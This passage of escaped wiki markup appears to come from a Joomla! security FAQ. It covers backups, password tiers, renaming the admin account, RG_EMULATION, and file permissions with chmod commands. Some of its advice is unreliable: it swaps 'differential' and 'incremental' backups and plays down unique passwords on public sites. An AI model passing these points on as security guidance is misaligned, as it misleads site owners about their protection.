&lt;br /&gt;
: There are three traditional backup types--full, cumulative and differential.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Full Backups&#039;&#039;&#039; &lt;br /&gt;
: A complete backup of all associated files and database at a known point in time.&lt;br /&gt;
&lt;br /&gt;
: Both of these are considered Incremental backups, they can be used independently of each other or in conjunction with each other but always relate back to a FULL backup.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Cumulative Backups&#039;&#039;&#039; &lt;br /&gt;
: This is a backup of the differences since the last FULL backup, so each cumulative backup gets bigger each cycle as it is also backing up data previously backup, since the last FULL backup.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Incremental Backups&#039;&#039;&#039; &lt;br /&gt;
: This is a backup of the changes since the previous backup of any type, i.e., full, cumulative, or incremental.&lt;br /&gt;
&lt;br /&gt;
: If you site is not too large, then FULL backups are the way to go, once a week at least. If your content changes quite regularly or more importantly cannot be recreated or is too costly to recreate, once a night or more may be more effective.&lt;br /&gt;
&lt;br /&gt;
: If time, server resources, or the rate of data change is too high to successfully obtain a FULL backup every night then the incremental backups are needed.&lt;br /&gt;
&lt;br /&gt;
: If you choose to use a cumulative backup following a weekly full, the backups each night will run quicker than a full backup, however as the week progresses, each nightly cumulative backup will increase in size and time, due to not only backing up the changes since last night&#039;s backup, but it also backing up all changes each night and previous nights since the last full backup was made. The benefit of this type of backup, in conjunction with full backups is the speed of restoration. To restore, you now only need to recover the most recent full and cumulative backups to fully recover all information.&lt;br /&gt;
&lt;br /&gt;
: If time or server resources are paramount or data change overwhelms cumulative backups, turn to differential backups, this style of backup when used in conjunction with a full backup will provide a very similar level of protection, but restoration will be slower. Differential backups will only backup changed data since the last backup of any type, not since the last full backup, as with a cumulative backup. Thus, when restoring data, you will need to recover the full backup, then each differential backup in turn (oldest first) in order to fully recover all information. This method also has the drawback of recovering any legitimately deleted files, potentially &amp;quot;over-filling&amp;quot; the file-system.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Data Protection Best Practice says&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# You should be able to completely recover from a catastrophic failure from at least two previous full backups. Just in case the most recent full backup is damaged, lost, or corrupt.&lt;br /&gt;
# A good backup regime should contain at least one full backup within a chosen cycle, normally weekly.&lt;br /&gt;
# A good backup practice is to store backups away from the current data location, preferably off site.&lt;br /&gt;
# Dynamic data should be backed up &#039;&#039;offline&#039;&#039; or &#039;&#039;hot&#039;&#039; to avoid &#039;&#039;fuzzy&#039;&#039; backups (data is changing as you back it up, potentially leading to related information not being in sync when backed up.&lt;br /&gt;
&lt;br /&gt;
: For the average Web site, a daily or weekly full backup of both site files and database records is normally more than enough. Keeping a number of backups for a period of time is always a good plan, maybe keep each weekly backup for one month. This allows you to recover an old site in the case of emergencies or if for some reason you have local backup file corruption.&lt;br /&gt;
&lt;br /&gt;
: There are many PHP and Perl scripts on the Web that can be automated through CRONTAB and can either email (if small enough) or FTP the backup files to an off- or cross- server location. Remember that to some degree with Joomla! you already have an instant backup of the core files, if you haven&#039;t modified core, the Joomla! distribution files can be easily restored. Then you need only worry about backing up changed files and the database.&lt;br /&gt;
&lt;br /&gt;
==Where can I learn about vulnerable extensions?==&lt;br /&gt;
* See the [http://docs.joomla.org/Vulnerable_Extensions_List Vulnerable Extensions List]&lt;br /&gt;
&lt;br /&gt;
==Where can I learn more about file permissions?==&lt;br /&gt;
&lt;br /&gt;
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/113-joomla-and-unix-file-permissions-explanation.html Unix Permissions Primer]&lt;br /&gt;
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/112-joomla-and-windows-file-permissions-explanation.html Windows Permissions Primer]&lt;br /&gt;
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/111-permissions-under-phpsuexec.html Using phpSuExec]&lt;br /&gt;
&lt;br /&gt;
==How do I setup a powerful password scheme?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Most users may not need more than 3 levels of passwords and webmasters no more than 5. Each level must be completely unrelated to the others in terms of which ids and passwords are used.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 5 (Public)&#039;&#039;&#039; - is the password you use on public sites. It is not imperative that you use a different password on every site. In fact it&#039;s more effective to use a different username on every site than it is to use a different password truth be told! Knowing the username allows easy hacking...half the work is done! knowing the password is useless unless you know what account it goes to!&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 4 (Webmaster)&#039;&#039;&#039; - Reserved for SQL Only. this is a password that would only be used by SQL and limited to a specific database in SQL. The best way to protect SQL is by limiting each account to just being able to do the minimum that DB requires. In some cases it is even wise to have a read only account for display and a separate write account that the backend write functions use. But that doesn&#039;t apply to J! at all... for J! the best practice is to set up an individual account (not root for sure) that only has read and write access to the J! DB nothing else.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 3 (Webmaster)&#039;&#039;&#039; - FTP and Server Access. these can be the same user:pass combo since both if compromised can do the most damage. doesn&#039;t matter if the backend or Cpanel is safe if the FTP is not and the same goes the other way!&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 2 (Personal Data Access)&#039;&#039;&#039; - This password should be used for any sites or locations that contain personal data with the exception of Banking (see level 1). these sites are often used for social engineering data such as medical records, service accounts and any financial records not directly related to banking! You want these to be secure but also different from the real threat of security...your money!&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 1 (Banking!)&#039;&#039;&#039; - this needs to be the most secure in fact if you have two different banks it actually pays to have a different user:pass for each just to be sure!&lt;br /&gt;
&lt;br /&gt;
= Joomla! Core =&lt;br /&gt;
&lt;br /&gt;
==How can I check my Joomla! installation&#039;s overall security and health?==&lt;br /&gt;
&lt;br /&gt;
: 1. Use the free Joomla extension, Joomla! Tools Suite (JTS), which is a Joomla! environment audit, maintenance and diagnostic application written in PHP. The JTS suite of tools can diagnose, report and advise on common installation, health and security issues, including performing several common performance and recovery actions.&lt;br /&gt;
&lt;br /&gt;
: Project Home: http://joomlacode.org/gf/project/jts/&lt;br /&gt;
&lt;br /&gt;
==How can I add the Joomla! Security Announcements Feed to the Admin Control Panel?==&lt;br /&gt;
&lt;br /&gt;
# Login to your Joomla! sites Administration site&lt;br /&gt;
# From the menu, select Extensions -&amp;gt; Module Manager&lt;br /&gt;
# From within the Module Manager, select Administrator&lt;br /&gt;
# From the Icon Menu (top right), select New&lt;br /&gt;
# From the choices available, select Feeds Display&lt;br /&gt;
# At the Feed Module configuration page, enter the appropriate details (Title (EG: Security Announcements) and Feed as a minimum)&lt;br /&gt;
# Enter http://feeds.joomla.org/JoomlaSecurityNews in the Feed URL&lt;br /&gt;
# Select cpanel as the position&lt;br /&gt;
# Optional Select Apply from the Icon Menu (top right) and place the feed in the order where you want to see it in the Admin Control Panel&lt;br /&gt;
# Select Save from the Icon Menu (top right)&lt;br /&gt;
# Go back to your Admin Site main page (Site -&amp;gt; Control Panel) and you should see your newly built Security Feed.&lt;br /&gt;
&lt;br /&gt;
: You can also use this technique to deliver your own &amp;quot;Customer Updates&amp;quot; to sites that you build for others. It&#039;s a great way to communicate with your customers after handing over the site to them. Every time they log in to the Back End, they&#039;ll see your latest news.&lt;br /&gt;
&lt;br /&gt;
==Why should I immediately change the name of the default admin user after a new install?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: All new Joomla installations start with a Super Administrator account called, &#039;admin&#039;. During the installation process, you will be asked to give this account a password. That&#039;s great as far as it goes, but because the user name of this highly-confidential account is generally well known, 50% of the security of the username/password combination is already exposed. Now all anyone needs to do is guess the password and they&#039;re in.&lt;br /&gt;
&lt;br /&gt;
: By changing the user name to something more difficult to guess, you greatly increase the difficulty of accessing the account. An attacker must correctly guess both the user name and password at the same time to gain access. This is several magnitudes more difficult than simply guessing the right password.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Log into the Back End&lt;br /&gt;
# Select User Manager&lt;br /&gt;
# Select the &#039;admin&#039; user record&lt;br /&gt;
# Change the value in username. (Good user names contain a mix of letters and numbers.)&lt;br /&gt;
# Save&lt;br /&gt;
# Remember the new username!&lt;br /&gt;
&lt;br /&gt;
== Why does the Back-End session stay alive even though I set it to expire? ==&lt;br /&gt;
&lt;br /&gt;
: When you edit an item from the Back-End, there is a keep-alive script running that keeps the session active. This is a great convenience in most cases, as it prevents you from losing all your edits if you wait too long to submit the content. However, there are a few potential security issues to be aware of:&lt;br /&gt;
&lt;br /&gt;
# If you walk away from your computer while you are editing content, someone else can use your computer to attack the site.&lt;br /&gt;
# Due to the risk of Cross-Site Request Forgery attacks ([http://en.wikipedia.org/wiki/Cross-site_request_forgery CSRF]) it&#039;s never a good idea to browse the Internet in another window or tab while an open Joomla! Administrator session is active. Joomla! has been hardened against such attacks, but it&#039;s remotely possible that an as yet unknown vulnerability exists in the Joomla! core, a third-party extension, or the browser itself.&lt;br /&gt;
&lt;br /&gt;
==How do I turn off RG_EMULATION? {{JVer|1.0}}==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: PHP&#039;s &#039;&#039;register_globals&#039;&#039; option was a terrible idea from a security point of view. It encouraged lazy programming and exposed many scripts to needless risk. This is because RG allows variables passed by the user to be automatically passed to the script. This breaks a cardinal rule: Never trust user input. &lt;br /&gt;
&lt;br /&gt;
: Register Globals has been officially deprecated in PHP5, and beginning with PHP6 will no longer even exist. Good riddance! &lt;br /&gt;
&lt;br /&gt;
: Joomla 1.0.x uses RG_Emulation functions which are somewhat safer than standard PHP &#039;&#039;register_globals&#039;&#039;, but it&#039;s still best not to allow any form of automatic variable assignments. Note that poorly-written extensions may fail with &#039;&#039;register_globals&#039;&#039; turned off. Such failure is a sign that the extension does not check user input correctly. Best advise: Don&#039;t use such extensions.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Joomla! 1.0.13&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Beginning with the 1.0.13 release, Register Globals Emulation has been moved to the main configuration file and can be adjusting in the Back-end Administrator interface.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Joomla! 1.0.12 and earlier&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Edit the file, &#039;&#039;globals.php&#039;&#039;, found in the root directory of your Joomla! site. At about line 23 change:&lt;br /&gt;
&lt;br /&gt;
 define(&#039;RG_EMULATION&#039;,1)&lt;br /&gt;
&lt;br /&gt;
: to&lt;br /&gt;
&lt;br /&gt;
 define(&#039;RG_EMULATION&#039;,0)&lt;br /&gt;
&lt;br /&gt;
==What do Error 1, Error 2, and Error 3 mean?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Error 1 = FATAL ERROR: MySQL not supported...&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
You need to compile MySQL support into PHP or the MySQL server is down.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Error 2 = FATAL ERROR: Connection to database ...&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Joomla! cannot talk to the database, most likly you have a typo in the username or password settings in &#039;&#039;configuration.php&#039;&#039;, or you are trying to access a database table with the wrong table prefix.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Error 3 = FATAL ERROR: Database not found...&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The database cannot be found. Check the database settings in &#039;&#039;configuration.php&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The MySQL variables in &#039;&#039;configuration.php&#039;&#039; (found in Joomla!&#039;s root directory) can be modified to correct these problems.&lt;br /&gt;
&lt;br /&gt;
For Joomla! 1.0.xx&lt;br /&gt;
 $mosConfig_host = &#039;localhost&#039;;&lt;br /&gt;
 $mosConfig_user = &#039;accountname__username&#039;;&lt;br /&gt;
 $mosConfig_password = &#039;userpassword&#039;;&lt;br /&gt;
 $mosConfig_db = &#039;accountname_dbName&#039;;&lt;br /&gt;
 $mosConfig_dbprefix = &#039;jos_&#039;;&lt;br /&gt;
&lt;br /&gt;
Modifying the &#039;&#039;$mosConfig_host&#039;&#039; to an IP Address of a remote host works for hosts that have separate MySQL servers from the client hosting servers.&lt;br /&gt;
&lt;br /&gt;
==How do UNIX file permissions work?==&lt;br /&gt;
&lt;br /&gt;
Unix/Linux file permissions can be confusing. The basic UNIX permissions come in three flavors;&lt;br /&gt;
&lt;br /&gt;
 Owner Permissions : Control your own access to files.&lt;br /&gt;
 Group Permissions : Control access for you and anyone in your group.&lt;br /&gt;
 Other Permissions : Control access for all others.&lt;br /&gt;
&lt;br /&gt;
In Unix, when permissions are configured the server allows you to define different permissions for each of these three categories of users. In a Web server environment permissions are used to control which Web site owners can access which directories and files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;What do Unix permissions look like?&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
When viewing your files through an FTP client or from the servers command line;&lt;br /&gt;
&lt;br /&gt;
 filename.php username usergroup rwx r-x r-x&lt;br /&gt;
&lt;br /&gt;
The first entry is the name of the file, the next entry is your username on the server, the second entry is the group that you are a member of and the last entry is the permissions assigned to that this file (or directory). If you notice, I have intentionally spaced out the permissions section, I have grouped the 9 characters into 3 sets of 3. This separation is key to how the permissions system works. The first set of 3 permissions (rwx) relate to the username seen above, the second set of 3 permissions (r-x) relate to the usergroup seen above and the final set of 3 permissions (r-x) relate to anyone else who is not associated with the username or groupname.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Owner (User) relates to username&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Owner (User) is normally you, these permissions will be enforced on your hosting account name.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Group relates to usergroup&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Group permissions will be enforced on other people that are in the same group as you, within a hosting environment, there is very rarely other people in the same group as you. This protects your files and directories from being made available to anybody else who may also have a hosting account on the same server as you.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Other relates to everyone else&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Other permissions, these will be enforced on anybody else on the server that is either not you or not in your group. So in a Web Serving environment, remembering that no-one else is normally in your group, then this is everybody else accessing the server except for you. Each of the three sets of permissions are defined in the following manner;&lt;br /&gt;
&lt;br /&gt;
 r = Read permissions&lt;br /&gt;
 w = Write permissions&lt;br /&gt;
 x = Execute permissions&lt;br /&gt;
&lt;br /&gt;
 Owner Group Other&lt;br /&gt;
 r w x r w x r w x&lt;br /&gt;
&lt;br /&gt;
As many of you already know, permissions are normally expressed as a numeric value, something like 755 or 644. so, how does this relate to what we have discussed above? Each character of the permissions are assigned a numeric value, this is assigned in each set of three, so we only need to use three values and reuse them for each set.&lt;br /&gt;
&lt;br /&gt;
 Owner Group Other&lt;br /&gt;
 r w x r w x r w x&lt;br /&gt;
 4 2 1 4 2 1 4 2 1&lt;br /&gt;
&lt;br /&gt;
Now that we have a value that represents each permission, we can express them in numeric terms. The values are simply added together in the respective sets of 3, which will in turn give us just three numbers that will tell us what permissions are being set. If we are told that a file has the permissions of 777, this would mean that the following was true.&lt;br /&gt;
&lt;br /&gt;
 Owner Group Other&lt;br /&gt;
 r w x r w x r w x&lt;br /&gt;
 4 2 1 4 2 1 4 2 1&lt;br /&gt;
&lt;br /&gt;
Thus...&lt;br /&gt;
&lt;br /&gt;
   4+2+1 4+2+1 4+2+1&lt;br /&gt;
 =   7     7     7&lt;br /&gt;
&lt;br /&gt;
The Owner of the file would have full Read, Write and Execute permissions, the group would also have full Read, Write and Execute permissions, and the rest of the world can also Read, Write and Execute the file. The standard, default permissions that get assigned to files and directories by the server are normally;&lt;br /&gt;
&lt;br /&gt;
 Files = 644&lt;br /&gt;
 Directories = 755&lt;br /&gt;
&lt;br /&gt;
These permissions would allow, for files;&lt;br /&gt;
&lt;br /&gt;
 644 = rw- r-- r--&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read only&lt;br /&gt;
 Other has Read only&lt;br /&gt;
&lt;br /&gt;
and for directories;&lt;br /&gt;
&lt;br /&gt;
 755 = rwx r-x r-x&lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute only&lt;br /&gt;
 Other has Read and Execute only&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now, things can get a little complicated when we start talking about shared Web Servers, the Web Server software will be running with its own username and groupname, most servers are configured for them to use either &amp;quot;apache&amp;quot; and &amp;quot;apache&amp;quot; or &amp;quot;nobody&amp;quot; and &amp;quot;nobody&amp;quot; as username and groupname. Here is the problem. Your Web Server runs as its own user, and this user is not you or in your group, so the first two sets of permissions do not apply to it. Only the world (other) permissions apply. Therefore, if you configure a permissions set similar to 640 on your website files, your Web Server will not be able to run your website files.&lt;br /&gt;
&lt;br /&gt;
 640 = rw- r-- ---&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read only&lt;br /&gt;
 Other has no rights&lt;br /&gt;
&lt;br /&gt;
The Web server is assigned no permissions at all and cannot Execute, Write or more importantly, even Read the file to delivery its content to a website visitors browser. If a directory was to be assigned 750 permissions, this would have the same effect, because the WebServer does not even have permissions to read files in the directory, even if the files inside that directory had favorable permissions.&lt;br /&gt;
&lt;br /&gt;
 750 = rw- r-x ---&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read and Execute&lt;br /&gt;
 Other has no rights&lt;br /&gt;
&lt;br /&gt;
Directories have an extra quirk, if a directory does not have the Execute permission set in the World set then even if Read and Write are set, if the program is not run as the user or group, it will still not be able to access the files within the directory. The Execute setting allows the program to &amp;quot;Execute&amp;quot; commands in the directory, so without it being on the program(in our case a Web Server) cannot execute the &amp;quot;Read&amp;quot; command, thus cannot deliver your file to the users web browser.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;How Does this Relate to Joomla?&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Good question, well in the first instance this would be important during the Web-Installer process.&lt;br /&gt;
If you can remember back to when you ran the Joomla! Web-Installer, we were looking for specific directories to be designated as writable. We see quite a numbers of posts either stating that there were problems during the install with permissions or asking what permissions are recommended. Some even consider the message, asking for &amp;quot;Writable&amp;quot; permissions to be too vague.&lt;br /&gt;
&lt;br /&gt;
Unfortunately, as the Web-Installer does not know how your server is configured, then it cannot be more specific, however, once you understand the permissions settings and you know a little about Web Serving environments, you will actually find that the term &#039;&#039;writable&#039;&#039; is actually very specific and a more than adequate description of what Joomla! needs. Thinking back to the above information, you may remember that there are three places where &#039;&#039;write&#039;&#039; permissions maybe set;&lt;br /&gt;
&lt;br /&gt;
 Owner Writable&lt;br /&gt;
 Group Writable&lt;br /&gt;
 Other Writable&lt;br /&gt;
&lt;br /&gt;
Also remembering that the Web Server generally doesn&#039;t run as your own user or in the same group. When you run the Web Installer from a browser, it is the Web Server trying to access the files, thus it is the &amp;quot;Other&amp;quot; permissions that will apply to it. If the &amp;quot;Other&amp;quot; permissions do not allow the Web Server to Read, Write or Execute commands in the Joomla! directories, you will receive the message saying that the directories are not &#039;&#039;writable&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
In this case, you will need to configure the Other permissions to be &amp;quot;7&amp;quot; on the directories listed in the Web Installer.&lt;br /&gt;
So your total permissions might be something like 757, in the worse case you might need to set 777. These very open permissions&lt;br /&gt;
maybe reset back to 755 after the installer runs to assist in the security of your directories and files.&lt;br /&gt;
&lt;br /&gt;
 757 = rwx r-x rwx&lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute&lt;br /&gt;
 Other has Read, Write and Execute&lt;br /&gt;
&lt;br /&gt;
Just to make things even more confusing, many hosting firms make use of software called phpsuExec or suExec, these tools change the way the Web Server runs, where the Web Server would not normally run as your username, in this case, it does. The use of the &#039;&#039;other&#039;&#039; permissions, may not be required, now you may only need to configure directories to be &#039;&#039;writable&#039;&#039; to your own username and groupname, this allows directory permissions to be set as 755 or 775 instead of 757 or 777.&lt;br /&gt;
&lt;br /&gt;
 755 = rwx r-x r-x&lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute&lt;br /&gt;
 Other has Read and Execute&lt;br /&gt;
&lt;br /&gt;
 775 = rwx rwx r-x &lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read, Write and Execute&lt;br /&gt;
 Other has Read and Execute&lt;br /&gt;
&lt;br /&gt;
The Web Server will still need to Execute set for the username and Read, Execute groupname permissions set so that it can Execute the Read command on files inside the directory. Again, these permissions may be demoted back to 755 after the Web Installer completes. Thats the basics for directories covered, what about files? This is where things get a little simpler. Most of the files that Joomla! makes use of will be quite happy with the 644 default permissions.&lt;br /&gt;
&lt;br /&gt;
 644 = rw- r-- r-- &lt;br /&gt;
 Owner has Read, Write&lt;br /&gt;
 Group has Read&lt;br /&gt;
 Other has Read&lt;br /&gt;
&lt;br /&gt;
This is valid if you do not have a need to Write to the files from the Web Server, the same rules apply as for directories if you do have this need. One file that you may like to have &amp;quot;Writable&amp;quot; to the Web Server is your configuration.php file. This is the Joomla! configuration file, if you plan on changing configuration through the Web Admin interface, then this file will need to be Writable to the Web Server.&lt;br /&gt;
&lt;br /&gt;
If your server needed directory permissions to be set to &amp;quot;Other&amp;quot; Writable for the install then this file will probably also need to be 757 or 777. Leaving this file as 757 or 777 is dangerous though, as you are letting everyone have &amp;quot;Write&amp;quot; access, many Web Site exploits take advantage of this fact, so in general it is not recommended to leave this file with these permissions.&lt;br /&gt;
&lt;br /&gt;
If your Web Server has one of the SU tools installed and you only needed to configure 755 on directories for the installation, then you will probably also only need to set 755 or 775 on this file to allow editing through the Admin interface, and these permissions are generally accepted as more secure than 757 or 777.&lt;br /&gt;
&lt;br /&gt;
In conclusion, what permissions should be set for the Joomla! installation? Well, as you can see, it depends!&lt;br /&gt;
&lt;br /&gt;
I know this isn&#039;t as helpful as you would have liked and it certainly is not a definitive answer, but in general, after the installation, any insecure &amp;quot;7&amp;quot; settings can be reset back to something more secure. For example: &lt;br /&gt;
 Files = 644&lt;br /&gt;
 Directories = 755&lt;br /&gt;
&lt;br /&gt;
These permissions would allow, for files;&lt;br /&gt;
&lt;br /&gt;
 644 = rw- r-- r--&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read only&lt;br /&gt;
 Other has Read only&lt;br /&gt;
&lt;br /&gt;
and for directories,&lt;br /&gt;
&lt;br /&gt;
 755 = rwx r-x r-x &lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute only&lt;br /&gt;
 Other has Read and Execute only&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If you have SSH shell access the following commands can be run from the command line to reset all files and directories back to the server defaults of 755 and 644. Change directories to the top directory (&amp;quot; / &amp;quot;) of your Joomla! installation, then run: &lt;br /&gt;
&lt;br /&gt;
 find . -type f -exec chmod 644 {} \;&lt;br /&gt;
 find . -type d -exec chmod 755 {} \;&lt;br /&gt;
&lt;br /&gt;
If you only have FTP access, this can be a very time consuming job, however, unless you changed more directories during the installation that was requested, you should only need to reset about 10 directories and the &#039;&#039;configuration.php&#039;&#039; file.&lt;br /&gt;
&lt;br /&gt;
Keep in mind that to install any extensions or templates after the actual Joomla! installation you may need to elevate the default permissions again on the appropriate directories just for the installation period, you may then demote them again after the add-on is installed.&lt;br /&gt;
&lt;br /&gt;
If you decide to use &#039;&#039;caching&#039;&#039; the cache directory will need to be &#039;&#039;writable&#039;&#039; by the Web server user to allow it to write its temporary files.&lt;br /&gt;
&lt;br /&gt;
==What are the recommended file and directory permissions?==&lt;br /&gt;
&lt;br /&gt;
Depending on the security configuration of your Web server the recommended default permissions of 755 for directories and 644 for files should be reasonably secure.&lt;br /&gt;
&lt;br /&gt;
==How can I avoid using chmod 0777 to enable installs?==&lt;br /&gt;
&lt;br /&gt;
On a private server with a small, controlled set of users, there is no need to use a chmod 777 to make the Joomla! folders writable in order to perform installs. You can set the server up so that both Apache and FTP have control of site files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Edit the Apache user.conf file and tell apache to run under the FTP account.&lt;br /&gt;
# chmod the entire site to 644 or 744. Apache should be able to run just fine that way.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Optional&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# chgrp the entire web space to the FTP group so that only those with FTP access can write to the server.&lt;br /&gt;
# chmod the entire web space to 764 or 664 will be possible giving other users write access as well&lt;br /&gt;
&lt;br /&gt;
==Isn&#039;t locating all Joomla! files inside public_html a security risk?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Short answer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Potentially, yes. Your site can be secure, but you must be careful and vigilant.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Long answer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
A common security principle is to create various security levels and then grant access at each level only as required. On UNIX servers this is done by setting the user, group, and world permissions on directories and files.&lt;br /&gt;
&lt;br /&gt;
Typically, the most insecure directory on a UNIX server is the one serving Web files, usually called public_html. This is because it is publicly accessible, world-readable, and in the case of a CMS-powered site, possibly even world-writable. That status is the very definition of officially, totally, and utterly insecure.&lt;br /&gt;
&lt;br /&gt;
As long as you want the entire world to view your public_html directory there is no problem. After all, that&#039;s exactly what it&#039;s designed to do. But if you want to hide anything, the plot thickens. If public_html contains configuration files with secret data, or scripts that write to databases, or scripts that modify other files, or scripts that append to logs, or scripts that store temporary data in caches, or scripts that support file and graphic uploads, or scripts that process form input, or scripts that process financial and personal data, this read-only directory becomes a world-accessible, read-write application.&lt;br /&gt;
&lt;br /&gt;
If there are ANY vulnerabilities in ANY files in the public_html directory, the entire server is potentially vulnerable, and not just your Web site but possibly every Web site on your server. Such vulnerabilities give attackers access to the scripting engines used to run your site. PHP, Perl and other Web scripting languages are powerful and easy to use. If programming vulnerabilities allow an attacker to call arbitrary commands, your entire server could be toast.&lt;br /&gt;
&lt;br /&gt;
One good way to block attackers, is to keep potential vulnerabilities behind a secure fence. For this reason, it is often recommended to only place files that require direct access from the Web in public_html. Other files should be loaded into applications using such functions as include and require. To access such files, attackers must first penetrate your server, such as by discovering a root username/password.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The incredible lightness of living outside the fence&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
To provide incredibly easy installation, Joomla! follows a different security model. It is possible to perform a complete Joomla! installation using nothing more than a Web browser pointed at the world-readable installation directory. An additional level of security is provided by requiring that you remove this installation directory after completing the install.&lt;br /&gt;
&lt;br /&gt;
Granting a world-accessible installer the ability to write to files outside of public_html would be a huge security hole. Thus, by default every Joomla! file ends up in the world-accessible public_html directory. Not coincidentally, this is also the directory in which an angry planetful of would-be attackers are hoping to find your files.&lt;br /&gt;
&lt;br /&gt;
Currently, most Joomla extensions also have limited support for file locations outside of public_html. This is a legacy of the Joomla! 1.0.x installation model.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Joomla! defense&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Despite it&#039;s apparently vulnerable location, Joomla! uses various effective methods for blocking exploits. Chief among them is to add a line of code at the top of any PHP file that requires extra protection. This method is very effective as long as each and every file requiring such protection, has it. One vulnerable file exposes the whole site.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The challenge&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The practice of placing everything in public_html, and then building a little fence inside each file can become an administrative nightmare. One vulnerable file exposes the entire server. This is a glaring example of an allow, then deny security model.&lt;br /&gt;
&lt;br /&gt;
This model requires very careful upgrades, constant log reviews, and proactive plugging of new vulnerabilities as soon as they become known. (Since you have to beat the attackers, you&#039;ll be in a hurry, and may inadvertently do something stupid, potentially creating other vulnerabilities.)&lt;br /&gt;
&lt;br /&gt;
During installations and upgrades, you must verify (or trust someone else to verify) every line of code, of every new file, for every known vulnerability. And because scripts can have unintended consequences on each other, you cannot forget to test, test, test. Of course this is generally true for all software, but placing the entire application in public_html makes the issue extremely critical.&lt;br /&gt;
&lt;br /&gt;
The recent wave of URL injection attacks against poorly-written third party extensions would have been much less successful if those files had been stored outside of public_html, and thus simply unavailable through URLs. Note that in many cases the actual vulnerabilities could still exist within the files, but being inside the fence (outside of public_html) they would not be exposed to URL injections.&lt;br /&gt;
&lt;br /&gt;
 To (Deny, then Allow), or (Allow, then Deny)?&lt;br /&gt;
&lt;br /&gt;
The real problem with the above &amp;quot;all known&amp;quot; qualifier is that it is an allow, then deny model. In other words, we first give everyone access to every file and then deny access to specific files by adding a line of code.&lt;br /&gt;
&lt;br /&gt;
Consider the logic for a password authentication script. We have essentially two choices:&lt;br /&gt;
# First allow all access, then deny any username/password combination that DOES NOT match the approved list.&lt;br /&gt;
# First deny all access, then allow any username/password combination that DOES match the approved list.&lt;br /&gt;
&lt;br /&gt;
